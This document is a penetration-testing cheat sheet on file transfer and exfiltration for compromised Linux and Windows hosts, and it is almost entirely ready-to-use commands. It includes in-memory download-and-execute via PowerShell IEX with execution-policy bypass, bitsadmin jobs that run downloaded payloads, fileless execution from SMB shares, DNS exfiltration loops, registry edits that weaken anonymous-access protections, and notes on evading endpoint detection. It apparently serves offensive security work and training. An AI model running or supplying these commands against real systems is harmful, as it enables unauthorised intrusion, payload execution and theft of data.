File transfer / exfiltration
On Linux, it is recommended to verify the integrity of the transferred file using the built-in md5sum
.
On Windows, the PowerShell cmdlet Get-FileHash -Algorithm MD5
can be used to compute the MD5 file's hash.
Server side / file sender
The following tools can be used to host files server-side.
[Linux / Windows] Python
The SimpleHTTPServer
/ http.server
Python
modules can be used to quickly start an HTTP server from the CLI.
The module is however limited : the listening interfaces can not be specified and no SSL/TLS layer is natively supported.
python2 -m SimpleHTTPServer <PORT>
python3 -m http.server <PORT>
On Windows systems with out Python
installed, the WinSimpleHTTP
standalone binary can be used to start a the web server based on Python
's SimpleHTTPServer
module.
# Pre-compiled binaries are available on GitHub
pip install pyinstaller
pyinstaller web.py --onefile
web.exe <PORT>
[Linux / Windows] Node
The http-server
Node module can be used to setup an HTTP server from the CLI.
The module supports different configuration options and can be used to listen on a specific IP address as well as enabling SSL/TLS and CORS.
The http-server-with-auth
Node module additionally provides a basic HTTP authentication mechanism.
# npm install -g http-server
# npm install -g http-server-with-auth
http-server -a <IP> -p <PORT> --cors
http-server -a <IP> -p <PORT> --cors --ssl --cert <PATH_CERT> --key <PATH_PRIV_KEY>
http-server -a <IP> -p <PORT> --cors --usernmae <USERNAME> --password <PASSWORD>
[Linux] curl
# Needs the receiver to be listening
curl -F 'data=@<FILE>' http://<IP>:<PORT>
[Linux / Windows] netcat
# Needs the receiver to be listening
nc -w 3 <IP> <PORT> < <FILE>
# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems
# Use of PowerShell's Get-Content, and its alias (cat, type, gc, etc.), may induce a corrupted file.
cmd.exe /c 'type <FILE> | ./nc.exe -w 3 <IP> <PORT>'
[Linux] socat
# Similarly to nc, needs the receiver to be listening
socat -u FILE:<FILE> TCP:<IP>:<PORT>
[Linux] impacket-smbserver
smbserver.py <SHARE_NAME> <SHARE_PATH>
smbserver.py -smb2support <SHARE_NAME> <SHARE_PATH>
smbserver.py -smb2support <SHARE_NAME> `pwd`
[Linux] SAMBA shares
A SAMBA
share can be configured on Linux systems using the samba
utility.
The samba
configuration file's /etc/samba/smb.conf
should be first updated to create a new network share. Access to the shared folder should be allowed at the filesystem level (restriction will still be enforced by the share configuration):
sudo chmod 0777 <SHARE_PATH>
.
[global]
map to guest = Bad User
server role = standalone server
# Allows anonymous access.
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
# Specify the configuration for the new share.
[<SHARE_NAME>]
comment = Samba
# Full path of the folder to be shared.
path = <SHARE_PATH>
# Allows anonymous access.
guest ok = yes
# "read only = no" will authorize modification of the files hosted on the share.
read only = yes
browsable = yes
# Should be set to the owner of the share (i.e the owner of the shared folder at the filesystem level).
force user = <root | SHARE_OWNER>
After the new network share is configured, the smbd
daemon must be restarted:
# Restarts the smbd daemon to make the new configuration effective (either option below).
sudo service smbd restart
sudo /etc/init.d/smbd restart
# If needed, allows inbound traffic to the samba share.
sudo ufw allow samba
[Windows] SMB shares
On Windows, the graphical interface of Windows Explorer
can be used to share a specific folder over the network. Sharing a folder requires Administrators or NT AUTHORITY\SYSTEM
privileges.
Note that the final access permissions for a shared resource are determined by considering both the NTFS
permissions and the sharing protocol permissions, and then applying the more restrictive permissions. Thus, it is possible to grant "Everyone" full access permission when configuring the share permissions.
# Share permissions
Right click folder -> Properties -> Sharing -> Share -> Everyone
# NTFS permissions - Needs to be applied to the folder and its files
Right click folder -> Properties -> Security -> Edit -> Add
-> From this location -> <DOMAIN>
-> Enter the object names to select -> <USERNAME> or ANONYMOUS LOGON + Everyone (-> Check Names)
The above procedure, through Windows Explorer
, can also be done in PowerShell:
mkdir <SHARE_FOLDER_PATH>
# Grants read-only access to ANONYMOUS LOGON and Everyone.
icacls <SHARE_FOLDER_PATH> /T /grant Anonymous` logon:`(OI`)`(CI`)r
icacls <SHARE_FOLDER_PATH> /T /grant Everyone:`(OI`)`(CI`)r
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> -ReadAccess 'ANONYMOUS LOGON','Everyone'
# Grants full control (read, write, delete, edit permissions, etc.) to ANONYMOUS LOGON and Everyone.
icacls <SHARE_FOLDER_PATH> /T /grant Anonymous` logon:`(OI`)`(CI`)f
icacls <SHARE_FOLDER_PATH> /T /grant Everyone:`(OI`)`(CI`)f
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> -FullAccess 'ANONYMOUS LOGON','Everyone'
# Grants the specified rights to the specified security principals.
# r / ReadAccess: read-only access, m / ChangeAccess: modify access (read, write, create, delete), and f / FullAccess: full control.
icacls <SHARE_FOLDER_PATH> /T /grant <USERNAME | <DOMAIN>\<USERNAME>:`(OI`)`(CI`)<r | m | f>
New-SmbShare -Path <SHARE_FOLDER_PATH> -Name <SHARE_NAME> [-ReadAccess | -ChangeAccess | -FullAccess] <USERNAME | <DOMAIN>\<USERNAME> | GROUPNAME | <DOMAIN>\<GROUPNAME> | COMMA_SEPARARED_LIST_OF_PRINCIPALS>
# Removes (with out prompting for confirmation) the specifed share.
Remove-SmbShare -Force -Name <SHARE_NAME>
Anonymous (ANONYMOUS LOGON
) access may be prevented through system wide settings, independently of the access rights configured at the share and NTFS
levels. Indeed, if the RestrictNullSessAccess
registry key is enabled (set to 0x1
), anonymous access are restricted to only the named pipes and shares that are defined, respectively, in the NullSessionPipes
and NullSessionShares
registry keys. Additional security parameters defined through registry keys may also interfere with anonymous access:
RestrictAnonymous
: if enabled (set to0x1
), prevents users who logged on anonymously to lists share names.EveryoneIncludesAnonymous
: if disabled (set to0x0
), prevents users who logged on anonymously to have the same rights as the built-in Everyone group.
The following PowerShell commands can be used to authorize anonymous access to the specified share and disable the security parameters that may interfere with anonymous logon system-wide (effectively lowering the computer security configuration however):
# Checks if anonymous access are restricted (RestrictNullSessAccess registry key).
reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\ /v RestrictNullSessAccess
# If RestrictNullSessAccess is Enabled, the NullSessionShares and NullSessionPipes registry keys must be updated as follow.
# Appends the specified share to the NullSessionShares registry key to authorized anonymous access to the share.
$key = Get-Item "HKLM:System\CurrentControlSet\Services\LanManServer\Parameters"
$values = $key.GetValue("NullSessionShares")
$values += "<SHARE_NAME>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters" "NullSessionShares" $values -Type MultiString
# Appends "srvsvc" to the NullSessionPipes registry key to authorized anonymous access to the srvsvc named pipe used by the SMB protocol.
$key = Get-Item "HKLM:System\CurrentControlSet\Services\LanManServer\Parameters"
$values = $key.GetValue("NullSessionShares")
$values += "<SHARE_NAME>"
Set-ItemProperty "HKLM:\System\CurrentControlSet\Services\LanManServer\Parameters" "NullSessionShares" $values -Type MultiString
# Validates the NullSessionPipes and NullSessionShares updates.
reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\
# Checks if RestrictAnonymous is enabled (0x1) and, if necessary, disables it (0x0).
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Checks if EveryoneIncludesAnonymous is disabled (0x0) and, if necessary, enables it (0x1).
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
[Linux / Windows] FTP
# pip install pyftpdlib
python -m pyftpdlib -w -p <PORT>
[Linux / Windows] TFTP
# Metasploit server module
use auxiliary/server/tftp
# Unix daemon
mkdir <TFTPFOLDER>
atftpd --daemon --port <PORT> <TFTPFOLDER>
[Linux] NFS server
The docker-nfs-server
project can be used to host a NFS
server in a docker container and expose the NFS
server on the host.
If AppArmor
is installed and enabled on the host running docker (can be checked with sudo aa-status
), the documented additional steps must be followed to start the NFS server.
# Export example allowing the specified IP / CIDR range to mount <NFS_SERVER>:/nfs/
# The directory exported correspond to a directory inside the container (and not a directory on the host itself).
echo '/nfs/ <IP | CIDR>(rw,insecure,no_subtree_check,fsid=0,no_root_squash)' > <HOST_PATH_EXPORTS_FILE>
# Launch the docker container erichough/nfs-server and expose the NFS server on the host TCP port 2049.
docker run \
-v <HOST_SHARED_FOLDER>:/nfs \
-v <HOST_PATH_EXPORTS_FILE>:/etc/exports:rw \
-e NFS_LOG_LEVEL=DEBUG \
--cap-add SYS_ADMIN \
-p 2049:2049 \
erichough/nfs-server
The mount
utility can then be used to validate that the NFS
directory is available:
# If using NFS 4.x+ versions, the NFS directory should not be specified (i.e <HOST_IP>:/ should be used, and not <HOST_IP>:/nfs).
mount -o vers=4.2 -t nfs <HOST_IP>:/ /mnt/test2
[Windows] PowerShell HTTP PUT request
The PowerShell cmdlets Invoke-WebRequest
and Invoke-RestMethod
can be used to send a file, or directly a variable content, through a HTTP PUT request to a webserver (that should process the request and store the received PUT body):
Invoke-WebRequest -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Infile <FILE_PATH>
Invoke-RestMethod -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Infile <FILE_PATH>
Invoke-WebRequest -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Body <$VARIABLE>
Invoke-RestMethod -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Body <$VARIABLE>
[Windows] Simulated keyboard
A keyboard can be simulated, by emulating keystrokes, to send base64
-encoded files on specifically hardened systems (that restrict the usage of the tools and utilities presented in this note and disable the clipboard). The simulated keystrokes may be used to write a file or in directly outputted into a PowerShell variable inside an interactive terminal.
The transfer time is however overwhelming long and this method is not adapted to larger files.
Function Invoke-SimulateKeyboard ($FilePath) {
$Data = [IO.File]::ReadAllBytes($FilePath)
$ms = New-Object System.IO.MemoryStream
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
$cs.Write($Data, 0, $Data.Length)
$cs.Close()
$EncodedData = [System.Convert]::ToBase64String($ms.ToArray())
Write-Host "Uncompressed data size: " $Data.Length
Write-Host "Compressed data size (number of keystrokes required): " $EncodedData.Length
TimeOut 2
$EncodedData.ToCharArray() | ForEach-Object {[System.Windows.Forms.SendKeys]::SendWait($_)}
}
$FilePath = "<FILE_TO_TRANSFER>"
Invoke-SimulateKeyboard $FilePath
Client side / file receiver
The following tools can be used to download file from a server client side.
File transfer is easier on Linux machines as wget
, curl
or netcat
are often packaged with the operating system distribution.
On Windows machines, the process is usually not as straight forward but multiples methods can still be used. Transferring the netcat
utility may simplify the subsequent files transfer.
LOLBINS
The most reliable tools and methods are presented below. For a more exhaustive list of tools that can be used to transfer files on and off a Windows machine, refer to https://lolbas-project.github.io/#/download
.
To following commands can be used to retrieve the list of binaries present on the host.
# Windows
Get-ChildItem C:\ -recurse -file | ForEach-Object { if ($_ -match '.+?exe$') { write-host "$($_.Name),$($_.FullName)" }}
# Linux
find / -type f -executable -exec sh -c "file -i '{}' | grep -q 'x-executable; charset=binary'" \; -print
[Linux / Windows] echo & base64 encoding
The Linux built-ins echo
and base64
and the Windows CMD built-ins echo
and certutil
can be used to easily transfer files on Linux / Windows systems.
Encode the file to be transferred using base64 server-side, copy it to the clipboard buffer, and decode it into a file client-side.
# Server-side (Linux)
base64 -w 0 <FILE> | xclip -selection clipboard
# Server-side (Windows). Newlines can be trimmed on Linux using sed.
certutil -encode <FILE> tmp_file_base64.txt
sed ':a;N;$!ba;s/\n//g' <FILE>
# Client-side - Linux
echo '<BASE64_FILECONTENT>' | base64 --decode > <OUTPUT_FILE>
# Client-side - Windows
echo <BASE64_FILECONTENT> > tmp_file_base64.txt
certutil -decode tmp_file_base64.txt <OUTPUT_FILE>
# del tmp_file_base64.txt
[Linux] wget
wget <URL>
wget http://<IP>:<PORT>/<FILE>
wget -O <OUTPUT_FILE> http://<IP>:<PORT>t/<FILE>
wget -r --no-parent -nH --reject "index.html*" http://<IP>:<PORT>/<DIR>
[Linux] curl
curl <URL> > <OUTPUT_FILE>
curl http://<IP>:<PORT>/<FILE> > <OUTPUT_FILE>
curl -O http://<IP>:<PORT>/<FILE>
[Linux / Windows] netcat
# To be started before the transfer request is made server-side
# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems
nc -lvnp <PORT> > <OUTPUT_FILE>
nc -lvnp <PORT> | tee <OUTPUT_FILE>
[Linux] socat
# Similarly to nc, to be started before the transfer request is made server-side
socat -u TCP-LISTEN:<PORT>,reuseaddr OPEN:<FILE>,creat,trunc
[FreeBSD] fetch
The FreeBSD built-in fetch
can be used to retrieve a file by URL:
fetch <URL>
fetch -o <OUTPUT_FILE> http://<IP>:<PORT>/<FILE>
[Linux / Windows] Python
python -c "from urllib import urlretrieve; urlretrieve('http://<IP>:<PORT>/<FILE>', '<OUTPUT_FILE>')"
python3 -c "from urllib.request import urlretrieve; urlretrieve('http://<IP>:<PORT>/<FILE>', '<OUTPUT_FILE>')"
[Linux / Windows] Perl
perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://<IP>:<PORT>/<FILE>'); my $file = $ff->fetch() or die $ff->error;"
[Windows] Powershell
The PowerShell cmdlets Invoke-WebRequest
, DownloadFile
and New-PSDrive
can be used to download files from a remote web service or SMB share.
Invoke-WebRequest -Uri <URL> -OutFile <OUTPUT_FILE>
(New-Object Net.WebClient).DownloadFile('http://<IP>:<PORT>/<FILE>', '<FULLPATH\FILENAME>');
# Load in memory and execute
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<FILE>'); Invoke-ImportedCMD"
echo IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<FILE>') | powershell -nop -exec bypass -
# Connect to a SMB share
New-PSDrive -Name "LocalMountedFolder" -PSProvider "FileSystem" -Root "\\<IP>\<SHARE>"; cd LocalMountedFolder:
[Windows] PowerShell remoting / WinRM
Files or folders can be uploaded or downloaded on a remote system through a PowerShell remoting session (WinRM
) using the Copy-Item
cmdlet:
$s = New-PSSession [-Credential <PSCredential>] -ComputerName <HOSTNAME | IP>
# Downloads the file or folder from the remote computer locally.
Copy-Item -FromSession $s -Destination "<LOCAL_PATH>" "<REMOTE_FILE_PATH>"
Copy-Item -FromSession $s -Recurse -Destination "<LOCAL_PATH>" "<REMOTE_FOLDER_PATH>"
# Uploads the file or folder from the local computer to the remote computer.
Copy-Item -ToSession $s -Destination "<REMOTE_PATH>" "<LOCAL_FILE_PATH>"
Copy-Item -ToSession $s -Recurse -Destination "<REMOTE_PATH>" "<LOCAL_FOLDER_PATH>"
[Windows] VBScript
VBScript
, a Microsoft scripting language modeled on Visual Basic, can be used to transfer files (although larger files > 2MB tend to pose problem).
As the execution of VBScript may be restricted by GPO, the first step is to make sure VBScript can be used on the compromised machine:
echo WScript.StdOut.WriteLine "Successfully ran VBScript!" > test.vbs
cscript test.vbs
If Successfully ran VBScript!
is printed on the console screen, VBScript can be executed on the target. On the contrary, if any of the following error messages is displayed, the usage of VBScript is restricted:
This program is blocked by group policy. For more information, contact your system administrator.
Access is denied.
The following CMD commands can be used to create a VBScript downloader (courtesy of @frizb):
# =< Windows 8 / Windows Server 2012
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False >> dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
# Windows 10 / Windows Server 2016
echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0") > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False >> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
The VBScript can then be used to download files on the target:
cscript dl.vbs "http://<IP>:<PORT>/<FILE>" ".\<FILENAME>"
[Windows] SMB shares
The Windows built-in utility xcopy
can be used to download or upload files on a remote SMB share over the network:
# /Y: suppresses prompting to confirm the overwrite of an existing destination file
# /i: suppress prompting to confirm xcopy whether Destination is a file or a directory
# /q: Suppresses the display of xcopy messages
xcopy /Y /i /q "<LOCAL_FILE_PATH>" "\\<LHOST>\<SMB_SHARE>"
Additionally, SMB shares can be accessed and mounted using the Windows net
command-line utility. Once mounted the drive can be accessed as a local drive.
The most interesting feature of using SMB is the fact that files can be directly executed over the SMB Share without the needed to write them to the target machine file system, effectively resulting in file less execution.
# Confirm the SMB share is accessible
net view \\<HOSTNAME | IP>\<SHARE_NAME>
# Direct execution through CMD shell
\\<HOSTNAME | IP>\<SHARE_NAME>\<FILE>
# Mount the share to the S: drive
net use S: \\<HOSTNAME | IP>\<SHARE_NAME>
net use S: \\<HOSTNAME | IP>\<SHARE_NAME> /user:<DOMAIN>\<USERNAME> <PASSWORD>
# Direct access without mounting
dir \\<HOSTNAME | IP>\<SHARE_NAME>
copy \\<HOSTNAME | IP>\<SHARE_NAME>\<FILE> .
[Windows] BITS
Background Intelligent Transfer Service (BITS)
is a Microsoft Windows component developed to asynchronously transfer files with a reduced network bandwidth usage. It is notably used by Windows Server Update Services (WSUS)
and System Center Configuration Manager (SCCM)
servers to deliver updates to Windows clients. Others third-party software, such as Firefox and Google Chrome, also rely on BITS
to download their updates on Windows operating systems. BITS
supports transfers over the SMB
, HTTP
and HTTPS
protocols.
BITSAdmin
is a Windows command-line built-in utility that can be used to create, download or upload files using BITS
. Note that BITSAdmin
will not attempt the download if the security context under which its executed does not have the permission to write files on the specified output path.
Due to its possible legitimate usage, download of files through bitsadmin
may not be identified as malicious by Endpoint Detection and Response
products.
# Download the remote file.
bitsadmin /transfer <job | JOB_NAME> http://<IP | HOSTNAME>:<PORT>/<FILE> <OUTPUT_FILE_PATH>
# Upload the local file to the remote location.
bitsadmin /transfer <job | JOB_NAME> /upload http://<IP | HOSTNAME>:<PORT>/<FILE> <INPUT_FILE_PATH>
Note that downloaded files can be directly and executed using bitsadmin
:
bitsadmin /create <JOB_NAME>
bitsadmin /addfile <JOB_NAME> http://<IP | HOSTNAME>:<PORT>/<FILE> <OUTPUT_FILE_PATH>
bitsadmin /SetNotifyCmdLine <JOB_NAME> <OUTPUT_FILE_PATH> NUL
bitsadmin /SetMinRetryDelay <JOB_NAME> 60
bitsadmin /resume <JOB_NAME>
The PowerShell Start-BitsTransfer
may be used as well to download / upload files through BITS
:
# Download the remote file(s) using HTTP/S or SMB.
Start-BitsTransfer -Source "http://<IP | HOSTNAME>:<PORT>/<FILE>" -Destination "<OUTPUT_FILE_PATH>"
Start-BitsTransfer -Source "\\<IP | HOSTNAME>\<SHARE>\<FILE | *>" -Destination "<OUTPUT_FILE_PATH>"
# Upload the local file(s) to the remote location using HTTP/S or SMB.
Start-BitsTransfer -TransferType Upload -Source "<INPUT_FILE_PATH>" -Destination "http://<IP | HOSTNAME>:<PORT>/<FILE>"
Start-BitsTransfer -TransferType Upload -Source "<INPUT_FILE_PATH | *>" -Destination "\\<IP | HOSTNAME>\<SHARE>\"
Note that while the Start-BitsTransfer
cmdlet supports the specification of alternative PSCredential
credentials with the -Credential
parameter, the functionality is currently bugged. Instead, a temporary drive mapping should be created using the New-PSDrive
cmdlet (PowerShell 3.0
) or WScript.Network
object.
New-PSDrive -Credential <PSCredential> -Name "<DRIVE_NAME>" -PSProvider "FileSystem" -Root "\\<IP | HOSTNAME>\<SHARE>\"
$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("<DRIVE_LETTER>", "\\<IP | HOSTNAME>\<SHARE>\", $false, "<DOMAIN | WORKGROUP>\<USERNAME>", "<PASSWORD>")
Start-BitsTransfer -Source "<DRIVE_NAME | DRIVE_LETTER>:\<FILE | *>" -Destination "<OUTPUT_FILE_PATH>"
[Windows] CertUtil
CertUtil
is a Windows command-line tool designed to manage Certification Authority (CA)
and certificates. One of its feature is the ability to download files from a remote webserver by specifying an URL
.
Note that the usage of CertUtil
is monitored by most Endpoint Detection and Response
products and downloads through CertUtil
may generate detection alerts.
certutil -urlcache -split -f http://<IP>:<PORT>/<FILE> <FILENAME>
[Windows] desktopimgdownldr.exe
desktopimgdownldr
is a Windows built-in utility, initially designed to set desktop or background screen, that can be used to download arbitrary files from a web server.
The SYSTEMROOT
environment variable is used by desktopimgdownldr
to determine the output folder and can thus be used to specify an arbitrary output folder.
# Files will be downloaded as "LockScreenImage_<RANDOM>.ext" to "<OUTPUT_FOLDER>\Personalization\LockScreenImage\LockScreenImage\"
set "SYSTEMROOT=<C:\Windows\Temp | OUTPUT_FOLDER>" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://<IP>:<PORT>/<FILE> /eventName:desktopimgdownldr
[Windows] findstr
findstr
is a Windows utility used for searching patterns of text in files.
The following command can be used to search the string DoNotExist123456789 in the specified remote file and, since it does not exist (/V), download it.
findstr /V /L DoNotExist123456789 \\<HOSTNAME | IP>\<SHARE_NAME>\<FILE> > <OUTPUT_FILE_PATH>
[Linux / Windows] FTP
To download file interactively:
ftp -A <SERVERIP>
Paste the following commands into a remote Windows shell and download files over FTP non-interactively (replace by anonymous if using anonymous login):
# Windows
echo open <IP> <PORT> > ftp.txt
echo USER <USERNAME> >> ftp.txt
echo PASS <PASSWORD> >> ftp.txt
echo bin >> ftp.txt
echo GET <FILENAME> >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
In case of AV errors while trying to download a binary, omit the exe extension.
[Windows XP & 2003] TFTP
TFTP is a simple protocol for transferring files, implemented on top of the UDP/IP protocols. TFTP was designed to be small and easy to implement, and therefore it lacks most of the advanced features offered by more robust file transfer protocols. TFTP only reads and writes files from or to a remote server. It cannot list, delete, or rename files or directories and it has no provisions for user authentication.
Windows operating systems up to Windows XP and 2003 contain a TFTP client, by default. In Windows 7, 2008, and above, this tool needs to be explicitly added, during installation.
tftp -i <SERVERIP> GET <FILENAME>
[Linux / Windows] SCP / PuTTY pscp
The Linux Secure Copy
and Windows PuTTY
's pscp
utilities can be used to transfer files over SSH
and can notably be used to retrieve and upload files from a compromised target exposing a SSH
service.
# The scp utility can be replaced by pscp in the following commands for transfer from a Windows computer.
# Download remote <FILENAME> from <HOSTNAME | IP>
scp <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME> <. | DOWNLOADED_PATH>
scp -i <KEY> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME> <. | DOWNLOADED_PATH>
# Download all files in the remote <DIRECTORY> of <HOSTNAME | IP> to the local <LOCAL_DIRECTORY>
scp -r <USERNAME>@<HOSTNAME | IP>:<DIRECTORY> <LOCAL_DIRECTORY>
# Upload <LOCAL_FILENAME> to <HOSTNAME | IP>
scp <LOCAL_FILENAME> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME>
scp -i <KEY> <LOCAL_FILENAME> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME>
# Upload all files in the <LOCAL_DIRECTORY> to <HOSTNAME | IP>
scp -r <LOCAL_DIRECTORY> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>
[Windows] WinSCP
WinSCP
is a file transfer graphical utility for Microsoft Windows, available as an installed program and a standalone binary. WinSCP
support the following protocols / services:
FTP
SFTP
SCP
WebDAV
Amazon
S3
buckets
WinSCP
supports key-based authentication using PuTTY Private Key File (.pkf)
as well as SSL
based private keys.
[Linux / Windows] Metasploit meterpreter
The Metasploit
meterpreter
commands download
and upload
can be used to download / upload a specific file or to recursively download / upload directories and their contents.
meterpreter> download <FILENAME>
meterpreter> download -r <DIRECTORY>
meterpreter> upload <FILENAME>
meterpreter> upload -r <DIRECTORY>
[Linux / Windows] Python webserver processing PUT requests
The following Python code extends the Python SimpleHTTPServer
module to process HTTP PUT request and store, in the directory the script was started, the PUT request body content as a file. The filename is specified in the URL requested.
Original author: Floating Octothorpe, https://f-o.org.uk/2017/receiving-files-over-http-with-python.html
.
#!/usr/bin/env python
"""Extend Python's built in HTTP server to save files
curl or wget can be used to send files with options similar to the following
curl -X PUT --upload-file somefile.txt http://localhost:8000
wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt
__Note__: curl automatically appends the filename onto the end of the URL so
the path can be omitted.
"""
import os
try:
import http.server as server
except ImportError:
# Handle Python 2.x
import SimpleHTTPServer as server
class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
"""Extend SimpleHTTPRequestHandler to handle PUT requests"""
def do_PUT(self):
"""Save a file following a HTTP PUT request"""
filename = os.path.basename(self.path)
# Don't overwrite files
if os.path.exists(filename):
self.send_response(409, 'Conflict')
self.end_headers()
reply_body = '"%s" already exists\n' % filename
self.wfile.write(reply_body.encode('utf-8'))
return
file_length = int(self.headers['Content-Length'])
with open(filename, 'wb') as output_file:
output_file.write(self.rfile.read(file_length))
self.send_response(201, 'Created')
self.end_headers()
reply_body = 'Saved "%s"\n' % filename
self.wfile.write(reply_body.encode('utf-8'))
if __name__ == '__main__':
server.test(HandlerClass=HTTPRequestHandler)
# Works with Python2 and Python3
python http_put_server.py
DNS exfiltration
Limited exfiltration using built-in utilities
DNS queries can be used to exfiltrate data through the requested domain name.
# Listener
tcpdump -i <INTERFACE> udp port 53
# Every Responder's servers can be turned off in Responder.conf, except for the DNS service
responder -i <INTERFACE>
# Linux
<COMMAND> | while read data; do datab64=`echo $data | base64 -w 0`; host $datab64.ex.data <IP>; done
# Windows
nslookup <%VARIABLE%> <IP>
# The DOS for loop only output the number of columns specified by the tokens parameter. 1 = %a, 2 = %b, etc.
for /f "tokens=1,2,3" %a in ('<COMMAND>') do nslookup %a.%b.%c <IP>
cmd.exe /c "for /f ""tokens=1,2,3"" %a in ('<COMMAND>') do nslookup %a.%b.%c <IP>"
rclone
rclone
is a command line utility written in Go
to download / upload files and directories to and from over 40 cloud storage providers. In addition to more classical file upload services (FTP
, SFTP
/ FTPS
, Webdav
, etc.), rclone
supports a number of cloud services: MEGA
, Google Drive
, Microsoft OneDrive
, Amazon S3 buckets
, Azure Blob Storage
, etc.).
rclone
provides cloud equivalents to the unix
common commands cat
, ls
, mkdir
, cp
, mv
, mount
, etc. commands. It supports multi-retries and verifies file operations using checksums.
It is notably used by some threats actors to exfiltrate files to online file storage and cloud provider with out raising suspicion.
# Lists the supported services.
rclone help backends
# Configures a remote through an interactive configuration prompt.
rclone config
# Lists all the configured remotes.
rclone listremotes
# Displays information of the configured remotes (by printing the decrypted config file).
rclone config show
# Files operation to respectively list files, create a (product-specific) folder, print / upload / download / delete a file.
rclone ls <REMOTE_NAME>:
rclone tree <REMOTE_NAME>:
rclone mkdir <REMOTE_NAME>:<FOLDER_NAME>
rclone cat <REMOTE_NAME>:<FILE_PATH>
rclone copy <LOCAL_FILE> <REMOTE_NAME>:<FILE_PATH>
rclone copy <REMOTE_NAME>:<FILE_PATH> .
rclone deletefile <REMOTE_NAME>:<FILE_PATH>
# Recursively delete all files in the specified remote / (product-specific) folder.
rclone delete <REMOTE_NAME>:
rclone delete <REMOTE_NAME>:/<FOLDER>/
# Mount the specified remote as a local filesystem mountpoint (blocking execution).
rclone mount <REMOTE_NAME>: <LOCAL_MOUNTPOINT_PATH>
# Example to configure a Microsoft Azure blob remote, copy a local file to the remote and validate the copy by listing and printing the created file.
rclone config create <REMOTE_NAME> azureblob account <STORAGE_ACCOUNT_NAME> key <STORAGE_ACCOUNT_KEY>
rclone copy <LOCAL_FILE> <REMOTE_NAME>:/<STORAGE_ACCOUNT_CONTAINER>/
rclone ls <REMOTE_NAME>:
rclone cat <REMOTE_NAME>:/<STORAGE_ACCOUNT_CONTAINER>/<FILE_NAME>
References
https://lolbas-project.github.io/
https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/
https://github.com/frizb/Windows-Privilege-Escalation
https://github.com/cube0x0/CVE-2021-1675
https://www.giac.org/paper/gcwn/22/limiting-anonymous-logon-network-access-named-pipes-shares/100328
Last updated